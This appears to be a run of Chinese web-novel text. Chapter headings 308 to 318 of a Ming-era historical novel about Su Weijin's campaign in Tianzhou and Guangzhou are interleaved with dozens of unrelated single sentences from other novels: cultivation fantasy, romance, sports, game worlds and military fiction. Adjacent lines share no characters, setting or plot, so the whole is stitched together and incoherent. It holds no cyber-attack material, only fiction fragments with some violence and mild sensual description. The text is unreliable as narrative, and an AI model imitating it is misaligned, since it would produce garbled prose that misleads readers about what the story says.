但顾晟和魔鬼大公却保持着武器交击的姿势,仿佛交过一次手之后,他们的身体就再也没有移动过位置。
说来也是,身为堂堂的魔鬼大公,在地狱里可谓是呼风唤雨,无人不敬,就算来到了奈恩世界,也同样被人们敬畏有加。
“克丽丝汀娜,你从哪接的任务?竟然会有人想要那种废物?”克托把玩着新得到的一柄匕首,笑得眼睛都眯了起来。
“我没想SAY这么一个大牌子,居然有你这样的服务员,这简直是它的失责,现在你已经对我进行人格上的侮辱,我想有必要打电话报警!”说着她当即把手机拿出来。
果然,不出她的意料,不到一盏茶的时间,那些不算陌生的魂兵就冒出来了。
山峰绿郁葱葱的树木,树叶也变得枯黄,一阵风吹来,落叶随风飘荡。
几人都未迟疑,动作起来,油混着酒从慕冰玥处缓缓流向那些匪首,最后及至船板各处,匪首一众齐齐变换脸色,犹如末日宣判般看向慕冰玥。
但是因为某些原因,试验田的事不能对外公布,凡是参与到了试验田计划的人都签了保密协议,如果有人泄密让不该知道的人知道了,那么泄密者不仅会死,还会连累到家人。
林晓看出两人的矛盾,不过她初来京都,也不好惹事儿,就淡然的看着。
一时间,周围的空间完全混乱,韩斌被困在其中,根本就无处可逃。
炼药师则分为九品,九品之后就是圣级炼药师,分别为圣王,圣皇,圣尊。至于圣尊之后是什么目前是不得而知。炼药师一般是没什么攻击能力,不过也有像千静这样同修的。五品炼药师只是相当于修士先天中期。
明明这计划是他一手安排的,他也害怕梧桐派这些神境期应付不了那些机甲战士,所以他必须要做两手准备,不跟着去他这心里也不踏实。
只不过,如今洪门强势来袭,以双方之间的仇深似海,根本就没有化解的可能。
当然,一直保持着中立的观战修士是最为轻松的,谁输谁赢,谁获得第一,谁惨败下场,都与他们无关紧要,他们主要的是想要看一场强强联手的团队对战罢了,其余的都与他们无关紧要。
这位助理,曾与她一同竞争过总裁之位,后来被手下背后插刀,输得一败涂地。
第308章 神猴镇洞,枭雄末路
田州城头的硝烟尚未散尽,城内的搜剿和安抚工作正在有条不紊地进行。
王受授首,叛军主力星散,这本该是举杯相庆的时刻,
但督师行辕内的气氛却依旧带着一丝凝重。
罪魁祸首岑猛,如同人间蒸发了一般,生不见人,死不见尸。
“督师,各部均已回报,城内各处要害,
包括土司府、武库、粮仓,皆已控制,未见岑猛踪迹。”
但没有想到,冯少军的拳头和陈腾的拳头,猛然碰撞在一起时,他顿时感觉到一股恐怖的力量,如同洪水猛兽般,从陈腾的拳头上汹涌而来。
曾经被选为魔之眷属,可证明该族曾经的强大,正如星澈一族,虽然被贬,但依然稳稳占据着七族实力第三的位置。
方才只是流露出攻击意图就遭到了眼前古神那样暴烈的反制,如今真的对它造成了伤害,又会迎来什么呢。
几年不见,曾家酒旗比以前扩大了不少,隔壁的两间店铺都被曾家盘了下来。
西淮王没料到这家伙说打就打,仓促之间举起长枪抵挡,‘沧啷’一声,张谦只觉的双手痛麻,赶紧后撤。
可恶!明明贺菲大哥鼓舞士气已经做的怎么好了,怎么会没有人发笑呢?
被贪婪冲昏头,准备动手枪的黄氏父子,见到这一幕,无疑彻底吓傻了,神色呆滞。
“你……敢把这剩的果汁……喝完吗?”穆辰东一边假装抽搐,一边把杯子放到一边,里面还剩有几口果汁。
她深深地呼吸了一口气,心想,世事无常,一切自有天注定,也许她和他这辈子的缘分也就只能到这一步,无法更进一层。
北雁荡山分为分为灵峰,灵岩,大龙湫,显圣门,雁湖5个景区。
面对空门,里贝里所要做的事情就简单很多了,一脚推射,里贝里没有继续带球,越过杜德克后直接一脚推射将皮球送入利物浦球门。
他细细的吻一点点落在凤玄音的身上,她胸前的领口张开,大片美好的肌肤裸露。
其他星系的人用的也是类似的终端号,区别是终端号前面的星系代号。
黄子萄的忙碌她也看在眼里,说实话若非黄子萄她也是不会有今日的,所以基本上黄子萄要做什么,她都会尽力去帮忙。就算是大多数时候她是什么忙也帮不上的,也会尽力的不去拖黄子萄的后腿。
“好了,枫子,等你修炼完了这三级功法,我再传授你后面的。”林庸说道。
不可能,她爱的人只有自己,只有自己,她明明当着自己的面说过,她从未喜欢过睿亲王,更不会再见到睿亲王一面的。
恐怕正因为是这个原因,所以男人才会在一开始,一次次的拒绝自己。
思来想去,筱玉决定找个正义感很强的,然后和王子们没什么关系,却权势滔天的人来说。
却让徐铭夜的眼前一黑,让他看着画卷,他尚且无法画出这么复杂的画。
如果他们不等借着这次机会彻底扳倒天行商会,让城主府彻底认识到他们的虚弱,那就意味着天行商会虽然身受重创,但还是能享受到大巽官方,对于地方一流豪强的种种照顾和红利,这将使他们获得喘息之机。
庭树犹豫了下,对方的签约只是空头支票,再说就算不是空头支票,也和他自己计划的道路不符,没必要在意这一点。
湛长风闻言十分惊诧,但不影响她反驳,“孤知六道天尊去地狱是为何事,别说玉昊真灵回归,谅祂真身回归,孤也不屑行暗杀之事。
第309章 天宪借神口,归流定民
“神猴缚苍狼”的奇闻,便似那乘风而散的蒲公英种子,
一夜之间便落满了田州乃至桂西的千山万峒,
在各色口耳相传中,抽长出愈发离奇光怪的模样。
有言那神猴乃齐天大圣显化,专为惩戒人间不义;
虽然赤焰是魔帝,曾经他带领魔界的人横霸天帝,没少和仙界作对,可在遇到云玥之后,他早已用实际行动为曾经的罪孽恕罪。
龙少成闻言,脸色一变,旋即默然,握着剑的手微微下垂。殿下说的没错,自他答应归顺轩辕天越之后,他就不再是东梁将军,而是天越降臣。
罗羽菱轻笑,“瑾,人家本来就对你极好,若不是你整日都对人家摆着一副冰山面孔,我们两人可就是世界上最幸福的夫妻了。
李秀云看着没什么精神的云朵朵,絮絮叨叨地说着慕容澈这些日子都为她做了什么?
顾恩恩失去了全部的力气,瘫软在了‘床’|上,她听到外面传来悉悉索索的声音,过了一会儿,有‘门’关闭的声音传来,之后,整个总统套房就陷入了一片寂寞的安静之中。
那边船上的青年男子听了我们的歌嘻嘻哈哈地笑了半天,又开始唱了起来。唱完了还一个劲地向我们挥手示意。
……玮柔荑的梦中,梦到了两个孩子,当醒来后,才恨恨的纠结,她不会随便做梦,定然是若姑娘将孩子入到自己梦中的。
“还能有什么变故,不外乎是沐景祈现在被轩辕天越给招揽了去。”慕容笙箫不以为然的说道。
因为不知道,所以好奇,因为好奇,所以讨论,因为讨论,而气氛热烈。
“应该死不了,但不知道在哪,情况可能不会好。”容华醉只是说道。
络腮胡的男人走了过来,看着颜安星的脸色惨白,躺在地上打滚。
“这是什么地方?”冷纤凝疑惑的问道,虽然她是她讨厌的人,但是这里没有别人,她只好问她了。
但是他们两人也都知道,对于苏瑾言来说,帮苏夏收服一只中级骑兽或许稍稍有一些难度,但他却绝对可以做到。
看着出现黑影的视频,叶晓媚也关了电脑,倒头栽在床。上,呼呼大睡起来。
跟叶之渊的约定什么的早忘到了九霄云外,周轩和蓝南自知酒量烂,不敢喝酒也就喝了一肚子的果汁饮料,难受的不得了。终于想起來应该要回家去了。
只是机缘巧合下,随主人到了抚苑之都,被阮明月瞧中了她的才华,特地对她指点,并助她脱离了幽思天宫。
雪萌慵懒的环胸抱拳看着西陵璟款款而来,嘴角含着笑意。戮魔拿干瘦的手捂住眼睛,迫使自己不去看这幕。
“你真的抢人家钱了?”宁远澜一听,心里有些失望,这么一个让她莫名喜欢的孩子,会去抢别人的钱?
柳木还真的以为就象西游记一样,来了几个牛逼无比的和尚来找自己的麻烦。
关中一词是东晋徐广为史记注释的时候提出的解释,并有了关中这个范围。
烈玉食指放于长生老人的鼻尖,轻轻一点,粉末顺着鼻孔飞了出来,烈玉伸手一抓,将粉末尽数抓在手中。
这座地下城拥有‘封印苍穹魔王’和‘游乐’的双重用途,众神是有动机往游戏的方向设定的,但前提是他们想得到和做得到。
第310章 改土归流布新政 瑾心巧算安地
田州城外的山坡上,那场“神猴缚苍狼”的大戏余温尚在,
百姓们茶余饭后仍津津乐道着灵猴如何显圣,山神如何发威。
“是么?”看到韩薇薇这一副不屑的样子,魏索也不顾损耗真元和金丹威能了,嘿嘿的一笑,一下子将金丹祭了出来。
东方无涯说完,右手往下一拉,登时这烤猪腿就干净利落地被削了下来,东方无涯另一只手往前一伸,烤猪腿掉下来的瞬间就凭空生出了个冰盘子来,一个极热,一个极冷,激发出的香味比刚才更甚。
魏索和灵珑天直接掠入仙甲城中,和叶顾薇等人会合,进入了仙甲城的传送法阵之中。
一周后,公爵的伤口终于没了感染的可能,人也被从重监病房移了出来,身上那些横七竖八的数据线和管子也被撤了下来。
凤倾城看着底下的景色,她觉得很美,她没有这么高看过底下的景色。
“那对方肯定就是在比我们更早的时候进了墓穴副本……,算了。不管那么多,我扫怪,你挖宝!”再度挥舞着超级大剑,菜头舔着有些干的唇瓣,嘴角的笑带着一抹浓郁的战意。
车子还没挺稳他便先一步跳下来,解开我身上的安全带再度将我打横抱起。他手上肯定已经占满了我的血,如是想着。在看见医院那扇透明的玻璃门时,我终于放心的陷入黑暗当中。
“那好吧,我带你们回去公羊世家!”星夜看着我,很认真地说道。
他仿佛永远都不懂得“不”这个字怎么发音,无论我说什么他都会无条件答应,这样的他反而让我有些招架不住,就怕时间一长,咱不够坚定的意志会忘记他是个NPC。而生出什么不该有的依赖之感。
八股子哈哈一笑,豪爽地说道,仿佛几个大组织都不过是玩物,来去自如。
萧予卿跑过去,想要安慰一下萧婉如,但又怕自己从她身体里穿过去,于是一时间只能呆愣在原地。
金海帮私藏灵晶和灵晶原石,私自开采和交易灵晶原石的事情,似乎也算不了什么。
霍聿珩如果能那么坦然地面对我,甚至和我交朋友,那他当真从未爱过我。
妈妈日日自责,身体一天比一天差,要是再找不回妹妹,恐怕妈妈会心痛至死。
毕竟普通武道一品强者的天人领域范围,是不可能笼罩整个战场的。
摄影师和化妆师已经议论开来,楚一天掏出钥匙的时候,发现薛惠的脸色微微有些不对劲。
除了周通之外,叶焱还安排了三位地玄境六重的长老级人物,以防万一。
没多久,他收到了来自师姐发来的信息,已经顺利地将东西送了回去。
因为,如果事情真的已经发展到他想象的那般严重,就凭他和手中三千金吾卫,真不一定能解决此事,甚至就连能不能保护好杨安,都是一个问题。
“第一侦察兵团刚刚传来消息,黑袍老者的最后要求是舍身,舍弃身躯的舍身。”神级召唤师马腾轻声道。
随后他便是不顾樊使者的喝止。手中长鞭脱手而出。直奔张浩袭去。
“前段时间?大空间能量?”张浩神色狐疑的皱了皱眉,随即恍然,笑了笑,将他在飞龙城参加炼器的那些事情讲述出来。
第311章 恩威并施慑邻邦 贡表纷至显国
田州城内外,改土归流的各项新政正如火如荼地推行,
苏惟瑾忙得脚不沾地,既要统筹全局,又要应对那些如雪片般飞来的琐碎公文。
这日午后,他刚处理完一桩关于社学蒙童课本用纸的请示
男人的声音沙哑,林殊然的眼睫毛静静的抖动着,并没有任何的话说。
“我草!我不给你点颜色看看你不知道老子当年也是参加过刚果内战的人!”我转过身子,啪啪就给老鬼了两个大嘴巴子,心想都说杀鸡儆猴,老子这次打老鬼吓赵工。
音落,门外跑来敲门的人只觉乌云身上散发出的冷气更重了,登时大气不敢喘一下,更别说抬头看乌云了。
当两人正在激烈讨论的时候,突然有人通知说夏穆寒和林殊然给推出来了。
所以不知道怎么的,一批追我的人爱上了我的哥们义气,追着追着处成了朋友;一帮人却由爱生恨,本着吃不到葡萄说葡萄酸的心理说我装清高拽个p。
洛宁便也就想起了罗军的经历。不说他之后的那些传奇事迹,就是她和他之间,都一起经历了刻骨铭心的生死。
“嫩妈卡带,你那个箱子里面是什么?”我发现所有人似乎都有一种窥视欲,只要是密闭的东西,都想要在第一时间知道里面到底装的是什么东西。
我心想你真是二得可以了,我问:谁的名字?你只要告诉我是谁的名字就行。
澹台府中,收到消息,听完来人禀告的澹台玥,一大早匆忙赶来,出现在城楼下。
无形的音波扩散开来,下一刻街道上几乎所有的行人都变了脸色,因为在那阵鸟鸣之中,他们所有人灵兽环中的灵虫都发出了恐惧无比的叫声,有的灵虫甚至因此发狂,无论主人怎么安抚也无法平静下来。
这种“人性之恶”的课程,不必伍承说,暮景就知道,只他说出来了,这种直接送出来的关心,让暮景的身子都不再那么僵硬了,他可能是真的喜欢我,这才对我如此在意,担心我以后吃亏。
吃着官家饭的可能不会太在意江湖上的事情,再考虑到官官相护等潜藏的可能会有的隐患,对方也不会这么赶尽杀绝。
花齐还告诉那姓冯的汉子,楼雪鸢对他其实一直都是有感觉的,那些他送给楼雪鸢的东西都被悄悄的收下了。
“果然,你楚阳就是天选之人,但你似乎还不知道这一点。”冷锋利用心灵咒成功将这段记忆从楚阳的脑海中引了出来,同时也能洞悉楚阳此时此刻的想法。
知道自己什么忙都帮不上,温洋只希望自己不会成为祁瀚的累赘,他和祁瀚都还年轻,相处不急于这一时。
他之所以要不急着还手,是要看看这姓肖的“烈火掌”到底有何玄妙之处,他现在一身的高深武学,可是适合现阶段使用的却不多,如果能偷学来,交给肖勇等人,是一个不错的选择。
“韩逸,你可不要胡说,本长老向来公正,绝不会做这等公报私仇的事情。”那长老厉声道。
这时,殷锒戈从安全通道的楼梯口里走了出来,和上次穿的一样低调,冷漠如冰的脸上依旧散强烈的寒意。
“如果我是你妈,我一定会杀了你后爸。”夏秋冷不丁的插了一句。
第312章 阳明留镇固成果 惟瑾携俘返帝
西南诸邦贡表纷至的喧嚣过后,
田州城仿佛一下子沉静下来,
只剩下改土归流的各项新政,
如同春雨润物般,在桂西的千山万峒间悄然推进,生根发芽。
考虑到南蛮等地的恶劣条件,赵云等人做了充分准备。主动听取山越族人的建议,放弃了厚重的铁甲。采用轻便的皮甲,又置办了大量药材,使得辎重达到车辆近五千辆,这行军史上是十分罕见的。
高悦松了口气,叶子洛在旁“嘿嘿”地贼笑不已,高悦瞪他一眼,伸手抹过脸庞,立即容颜大变,变成了叶子洛初识高悦时的长相。
他心里一动,回想那冷笑声竟甚为熟稔,立即挥掌凌空拍开合起的窗户,纵身飘出。
林熠猛吃一惊,有心再祭出神雷驱魔符。无奈斑斓蜂距离容若蝶太近,投鼠忌器不敢妄动。遗浆烈蛇更如附骨之蛆,双目电光激射,令他无法分身。
一路上,警车开道,数十辆政府用车前呼后拥,那份荣耀简直让金邦这个家伙洋洋得意不已,大嘴都裂道后脑勺去了。
他算定蒂诺佐缺钱,明知不妥却不得不踏进圈套。所以,法尔孔才退让了一步。
在属于自己的一罗预时限将要结束时,时刹大师这才从深久的长考中回过神来。 眼见对面的星罗含着一抹亘古不变的笑容斜望着自己,时刹大师嘴角微动间不得不捏起一枚白金棋子。
将这个铁皮筒改造成一艘“诺亚方舟”不是没可能,关键是没工具。如果手头有一柄大锤,或许方便很多。另外,就算造成“诺亚方舟”,船桨也是个大问题。有船无桨,难道以手划过三百公里海域?
唐劲看完之后睁开眼睛这个s级技能还有很多问题他没搞明白但是现在外面天实在太冷于是坐车回到家里。
黑色的夜幕,不知道掩盖了多少不为认知的龌龊和无奈,天空中的月亮有些朦胧了,却执著的看着大地,仿佛有什么怨念难消,首都的一处高档社区中,一栋巨大豪华的别墅内动火通明。
如果抢不到人,本着我没有别人也别想有的思路,派几个杀手来,他岂不是每天都要生活在重重保护当中?
再者,能进入第三轮,就证明对方有一定的实力……说不定,自己还能从中受到一些启发。
“我记得你不是去了共和国吗?为什么会出现在这?”看着眼前的金发青年艾克没好气的问。
而那白色身影没有任何停留,一个优美的转身,长剑反掠,那名刚刚庆幸自己逃过一劫的修士还没来得急喘口气,只感觉自己脖子一凉,鲜血就如同喷泉一般撒了出去,头颅高高飞起,尚未闭上的双眼写满了不可思议。
李孟华一直关注着16号,也就是名为巴卡的外星人,每天游客们出去印度城市里游玩的时候,巴卡就会进入控制舱值守,一旦游客们有什么需求它就会第一时间解决。
听到这句话众人都用怜悯的眼神看着这个被扒了衣服的少年,这里也就他最惨了,浑身上下只穿了一条短裤就进了煌洛城,路上不知道被多少人当做的笑柄,差点连他们都有些没忍住。
第313章 入粤初安定,知府宴风尘
珠江的粼粼波光尚在脑后,苏惟瑾一行,已望见了广州城那巍峨的城墙。
作为大明南疆最重要的通商口岸,广州城的繁华,远非刚刚经历战火的广西诸城可比。
城墙高厚,垛口如齿,城楼上旌旗招展,兵甲鲜明。
一嗓子让记者们骚动起来,观众粉丝们也急不可耐,那越来越高亢的尖叫声,让后面不明所以的人更是伸长了脖子。
这五个名额空缺,是由另外输的十一名里产生,让他们进行每人三场战斗,三局全胜的可以马上出线,名额一满那就停止选人。
琉璃也不好解释,她一直惦记着去年已经落成的大雁塔,早就跟裴行俭约好了今日来这大慈恩寺,没想到前日又收到了安三郎的消息,裴行俭便说不如两事并一事,让她尽管用着禅房就是。
“报告,魔鬼岛完美的爆破,已经消失到海底五米一下!”孟铁锤、秦风精神抖擞的跑了过来,对常林行着军礼,汇报着这一次的行动情况。
“这是我师兄,考尔先生,我让他来给表哥检查的。”浅浅吐气,事已至此纪钰琰也不能阻止什么了,干脆就让考尔留下来治疗龙钰泽好了。
媒体只需要一点爆料就行,艺人,则不可能所有事情都像倒豆子一般,毫不保留的倾泻而出,只要保持双赢,那就是最完美的。
血狼部队,留下了一个连守卫军营看守武器弹药,剩下的一千三百人整装待发,在夜幕降临的时候开始出发。常林作为一名战士携带着自己的狙击枪,跟在三营队列里在黑夜间行走着。
而此时此刻,在崇化坊往北不过一坊之地的西市里,琉璃正一路笑盈盈的问着路往前找着,终于看见不远处那竖在铺面边的“如意夹缬”四个字。她不由长长的出了口气,平日总是略微弯着的脊背渐渐变得挺直。
琉璃嘻嘻一笑,把麴崇裕气昏头才好呢,省的他这一招又一招的难为裴行俭。
“凡事都会有个结果的,只是时间的问题,有些事情到了一定的时间,会自然的水到渠成,不需我们多费力气。”我说道。
他们鲜红的鲜血,顺着石梯流下,瞬间把石梯染成红色,恶臭的血腥味扑鼻而来,当硝烟渐渐散去,十五六名光棍尽数倒在山门前,蔚为可怖,鲜血顺着雨水流到米高的皮鞋上,把米高的鞋粘的暗红色而腥味十足。
一万名观众心里只中只有一名林郡主,这就是这场勇士大赛,原本只是贱民之间的比试,一位林郡主,就可以调动广大优质的男生。
墨景轩听了,脑袋轰的一声,本以为她会说说而已,只要自己按照她的意思,让他们戴罪立功,她就会气消。
现在天高皇帝远,他和姚佳佳正式成亲,举行了非常浓重华丽的婚礼。
但是如果因为任务完成的非常完美让灵魂非常满意,那么这灵魂中带着“甘之如饴”满足,她们身为任务者就很容易吞噬融合对方的灵魂中的力量。
可当我转过头去,倒是没瞧见有什么鬼鬼祟祟的人,一时之间,只觉得是自己太过紧张。
这种心狠手辣倒是挺不错的方式,既然这个家伙敢跟自己作对,那么想来他已经做好了要死亡的心理准备。
第314章 接状察蹊跷 暗流涌珠江
广州城繁华的街市,因这突如其来的拦轿喊冤,瞬间陷入了一种诡异的寂静,随即爆发出更大的喧哗。
那时候的冯宝宝拿着一把菜刀,追着他们从罗刹街东部砍到城西,他们直到现在还是记得清清楚楚,那是一种来自于灵魂深处的恐惧感。
也不知道是什么使五个各怀心事的后辈在沈天成面前演了一场毫无破绽的见面会。
就在这个时候,床上的墨贤夜忽然身子一偏,趴在床沿上吐了一大口黑血。
虫子们本身是没有任何声音的,所以整个营地里只有虫子们走路的悉悉索索的声音,人类们偶尔有被发现的人发出了绝望的叫声,然后就立刻被赶到的捕捉者给捆了个结实,封掉了嘴巴,然后被运走。
老头子将符咒拿出,目露不舍之色,右手食指和中指夹起符咒,捏了个手诀,嘴里念叨着什么。
这么做,除了让整个舰内的气氛变得针对起来,实际上他们做的事情并没有太大的改变。
晨起后的简单的伸展运动结束后,木识青冲了个澡,怀川的气温在升高,她喜欢现在这样的温度,不冷不热。
以灵异社以前做事的习惯,对于身份未明的修炼之人,一般都是派出一个实力差不多的前去调查。
“暂时取消吧,我们得先将那个新来的龙族妖王的份打听清楚了再说。”那巨大的狐狸黑影说道。
“呼。”等到袁横完全消失后,王斌这才将绷直已久的身子缓缓落下。
“我若是一定要保他呢?”红玉亮出五鬼飞镰,扫了一眼这些魔兵。
事不可违,要是换一个商贾早就屁颠颠的把酿酒之法献给安禄山了,可是现在李璀帮甄乾说话了,安禄山自然不好继续威逼甄乾。
“凋零冰晶。”王昭君看到橘右京侧身,也施展了技能,顿时,橘右京的速度大减,狄仁杰李元芳见状纷纷施展大招,往橘右京身上扔去。
张晨感觉伏地魔应该还在隐瞒着什么东西,这些隐瞒张晨东西可能就是伏地魔最大的秘密。
李青风的父亲李勇就是李家家主,虽然还有其他一些长老,可以反对李勇的意见,到时他再将烈焰虎的血肉拿出来,上交家族,立了这么一个大功,想让他父亲把这血灵晶送给他,也就不会太难了。
老齐能够把这位主儿给请来,今天还能要不到赖总拖欠的工程款么?
他给出的一千三百万融资百度股份20%的条件,也并不是多送钱给李炎宏,而是有几个附加的条件。这要等到和李炎宏谈判的时候说出来。
张晨用余光瞥到这一情况,一只手控制轩辕剑,另一只手掌一翻,扔出五颗灵气豆。
“他的那具机关分身被人打碎了,而后又被天魔缭乱的魔息强行拼合在一起,之后又被打碎了,你也知道,墨子的每一具机关分身都要分出自己的一部分核心能量。
上了石桥,沈从容往池中看了看,里面的鱼虾也如同屋外的河中一般,并没有什么新的品种。
也就在这时,王安突然之间转过头看向了另外一边的于梁,直接伸手一指于梁。
第315章 驿馆析卷锁关键
驿馆的烛火,在岭南潮湿的夜风中摇曳,将苏惟瑾伏案的身影拉得忽长忽短。
“谢谢您如此评价晚辈。”能被前任星主说自己像父亲,利维亚斯嘴角勾出一点笑来。
这不是美奈子自恋,是她完全了解男人,以及对自己还有妮可二人的样貌和气质有着绝对的自信。
厉南谨并不清楚慕长恭的想法,反倒是,有些好奇慕长恭会和自己说什么。
与此同时,鹰酱国挑衅般的对全世界宣布,他们正在不断往太空发射卫星,正在逐步完善自己的天网激光系统。
这一下子让局长看不出来他是真的生气,还是故意在美奈子的面前演戏。
下播之后,安承羽没有第一时间离开电脑,而是去了龙牙后台去查看礼物输入情况。
对方两辆车上下来的人看到萧剑沣三人突然出现,也吓了一跳,但他们自持身手了得,也没在意。其中两人向白凌雪冲去,想抓住白凌雪,另外两人想挡住萧剑沣三人。
在地下这么深的深度,每挪移一截距离,对孟修来说都是真元、体力以及精神上的巨大消耗。
营业员陪同白凌雪去收银台去刷卡,一会就回来了,白凌雪让萧剑沣换上刚买的浅灰色格子休闲西服和黑色休闲裤。
第二个走上来的是个帅气的西装男,欧艺涵一瞬间没认出来他是谁。
当伊斯科特,走出奥古斯丁城堡后,这座历经无数年的城堡,终于走到了尽头。
“大人,‘士农工商’,我们商人,一直都是最受轻视的,也只有您才能高看一眼。不为别的,就冲这一点,我楼某人为您卖命,也心甘情愿!”说到动情处,楼栋抹了一把老泪。
摊主见她对画爱不释手,明亮澄澈的眼睛里兴奋的火焰仿佛能把画烧出洞,直接坐地起价。
孙少伟原本以为这样就可以轻易拿下华玉夜,没想到出了如此变故,不过一切还不是问题,孙少伟大脑高速运动,这就是训练的好处,童溪山一直教导华玉夜所谓的‘临危不乱’。
慧明领着程顺进来时,何婉儿脸颊一红,她貌似把那陈家姑娘想的太坏了。
田畴带出来的嫡系人马都是他的心腹,众人立刻道:“是,田公!”说罢便将李步提下去,人们各归原位,仿佛什么都没发生过。
无疑,这家仆便是朱瑙派出的说客。他花钱买通了孙表亲,找机会来到魏變面前。
说起来他也是身世坎坷,汉人父亲觉得他是混血,是个杂种瞧不上,胡人的母亲则是觉得他是个累赘,丢弃了,他被一对汉人夫妻收养,后来觉得长的太丑,三岁的时候又给卖到了杂耍的地方。
陈克朋经常和下九流的人打交道,见识很广,也听多了各种政治斗争的故事,也就更懂得人心险恶的道理。
杨万洛的人马,在极短的时间内,就溃败下来。不仅如此,“新军营”强悍的战斗力,也给这些人留下了阴影。
不愧是活了几千年的上古者,千叶舜的话,竟一时让死婴无言以对。
等到黑暗之中的日军冲进村子之后,借着村中还未熄灭的火光,李子元才发现这股日军那是一个中队?至少有一个满便外加一个不满编的步兵中队,外加足足三百多伪军。不仅携带了两挺重机枪,还有一门九二步兵炮。
第316章 茶肆逢英豪 拳脚慑宵小
珠江码头的暗流,并未因周大山等人的初步探查而平息,反而愈发汹涌。
苏惟瑾坐镇驿馆,超频大脑如同中枢,不断处理着各方汇聚来的信息碎片。
“伍大人你我们弘朝难得的好官。”接了别人的水,嘴上自然免不了要夸一句。
谨言十一回家,也不知碰到了什么,感染了荨麻疹,身上一红一片,奇痒难当,断断续续,一章码了一天。
这还没完,第二天又有消息传来,大唐铁骑杀进了渤海国,正直扑上京城而来。
“臣倒是想到一个合适的人选,就是不知陛下愿不愿用。”李泌看着点李瑁道。
陈伯宗很讨厌孔奂也很需要孔奂,这是没有办法。因为从古到今除了汉武帝以前的那几位之外,余下的谁不需要一块孔家的牌子为自己维持统治呢?
众人只见徐勇身体在空中划过一道完美的抛物线,然后狠狠的坠落在地,激起一地烟尘。
可怜的是沃尔夫这个聪明人,有的是本事玩傻子,这可是他的老本行。
众人只见一道青光闪过,路扬的身体便已经穿透了白色的能量传送门,消失在了众人的视线中。
罗斯摘下头盔上的护面,逃亡的抑郁在此一扫而空,现在他端平骑枪,当年一意孤行奔赴提哈的骑士又回来了。盔甲已然残破,身体已然疲惫,就连心灵也不可避免地被泼灭了烈火,但不代表骑士会因此缺乏勇气。
索性褚遂良在做事方面,是个比较牢靠的人,各方面的准备,比预期中只好不差,倒是叫孙享福放心不少。
然而,这刻被这孽气给吞了,却是连兵解逃出神魂来,也都没有办到。
原本那看起来阴森,但是却一片死寂的桃林之中,忽然动了起来。
说也奇怪,再厉害的风暴,只要到了游艇跟前,却就立刻变得风平浪静了起来。
朝定在没有召见游佐续光等人前就想好了,一定要想方设法的将宇佐美定满入驻七尾城,并且替谦信转封一些越后众到能登国以加强上杉家在能登国的统治。
“按照你的意思,你是通过他们的多次选择、表现以及心理因素,从而推测出他们之后的行动,是这样吧。”龙剑心定定地看着龙星宇道。
心脏剧烈的绞痛使得月鬼和廖东风苦不堪言。当两人好不容易才稳住了心脉。此时却发现远处原本已经不再发光的十个机关球再度亮了起來。而且亮度越來越高。不久就感觉到发散的温度。
可是再怎么说,也不可能把所有公家的好东西都给搬回自己家里去。
“道友,擅闯我主闭关之地,这不太好吧?”那个中年人威严四射,竟然如同青尊仙帝那般,给人一种不敢抬头的气势,言语间道尽了神韵与法理。
既然是廖东风发起的,那么无非不过就是安排下一步的任务和方向。
也正是因为这个原因,所以龙星宇才希望将天夜尊者找出来,并且从其手中将玉符夺下,因为只有那么,才能算是将那些家伙给彻底地囚禁在这大殿的区域范围内。
“二妹,咱住的这户村子,那家后院有枣树的。”黄亦云朝二妹黄亦凌问道。
第317章 瑾识英才心生喜 诚邀豪杰入麾
驿馆之内,烛火通明,将方才茶肆的紧张厮杀隔绝在外。
周大山与胡三带着那位名叫俞大猷的年轻人踏入书房时,
苏惟瑾正负手立于窗前,望着窗外广州城阑珊的灯火,脑中仍在梳理着各方线索。
“姐,你最近到底闹什么了?”叶晓君拿着鼠标,吧嗒吧嗒的摁着。
李漠然拿着手里的项链,准备给叶晓媚试戴试戴,可是就在项链刚刚挂到叶晓媚脖子上的时候,他看到了橱窗中印出了一抹熟悉的身影。
她是做服装设计的,跟首饰鞋子有着千丝万缕的关系,钻石和皓石还是能分得清楚。
听到柳木让各县令也参加背黑祸,李世民都听不下去了,正准备开口反驳之时。
好几天时间过去了,别说是程咬金,就是李道宗都找不到柳木人在那里。
就是柳木听到三十年修十万里铁路都吓的一哆嗦,柳木可是知道,新中国初铁路也就是四万里多一点,到柳木穿越前,铁路也就是二十多万里。
可是……如今身陷敌营命不保夕的她,要怎样逃离?又如何逃离?不相见便可不相恋,不相知便可不相思……老天何其惨忍?为何让他们相见相知,却不肯让他们有缘相守?
虽黎彦的举动有失妥当,但他毕竟是邻国而来的使节。耶律倚墨如此的喝斥威胁很显然可能会影响到两国的邦交,不禁令耶律麒眉头微皱,便欲化解调和。
磐石子那屋的灯依然亮着,屋中有两人。一为磐石子,二便是陶醉。
要不是麦克人脉广,将事情压下去了,恐怕工作室会被勒令解散。
“卑鄙的人类,居然敢突袭本尊……”化形妖兽吼叫了一声,看着三人身上涌出的波动,顿时心悸,立马调集出妖力,一遍遍的涌现出来,形成一幕血色光罩,与此同时,他的身上忽然涌出了一丝狂暴的能量,黑光顿时大盛。
青云门的这名修士,立马口吐鲜血,倒在地上不停地抽搐,呼吸很是困难。
幻想过他们的身体纠缠在一起,幻想过从此后水1乳1交融再不分离。
但是总是感觉到有点晦气。老种相公走了出来,他力劝武明道:“国师,我们拼死守城。
吴行风微微皱眉,这才发现自己手中空空如野,智子的海绵体被他弄丢了。
就是不知道为什么,看到那一幕幕,觉得心里挺难过的,好像自己也处在那样的绝望之中一般。
这一晚的晚餐当然是由地主陈彬请客,约克知道陈彬发财了,当然接受陈彬的邀请。
“我给你们一次机会,选择退出!”美杜莎的目光中带着戏弄,从场中众人脸上一一滑过。
“哟?”看射不中百里最秀,莫玲一惊,但是马上的,莫玲就恢复了平静,拿出了一个哨子,轻轻的吹了一声。
许爸也知道,杨家这五万八的彩礼是跑不掉的,见唐志东不是直接给许家五万,而是借给许威,许爸的面子也有了,当然没有反对。
“别理他”,李陵极想听她谈谈对皇位的看法。他只有想她之所想,才能顺利得到她的心。
“这是什么”石开不认识伏魂灵魄乌拿在手中左右观看,怎么看怎么想红薯:“你怎么知道我饿了,呵呵”说着石开就要放进嘴里咬。
第318章 大猷坦言消息源 瞎子老杜露真
驿馆内的气氛,因货郎王五被灭口的消息而骤然凝重。
烛火摇曳,映照着苏惟瑾沉静却隐含锐利的侧脸,也映照着俞大猷初来乍到便感知到的肃杀。
“杀人灭口,好快的手脚!”
周大山拳头攥得咯咯作响,怒目圆睁。
“这帮杂碎,定是那四海商会干的!”
孙猴子接过存折打开一看,是以孙乃正的名头存款八十万元。一个存折一个卡,全国各地哪都可存取,弟想得真周到。
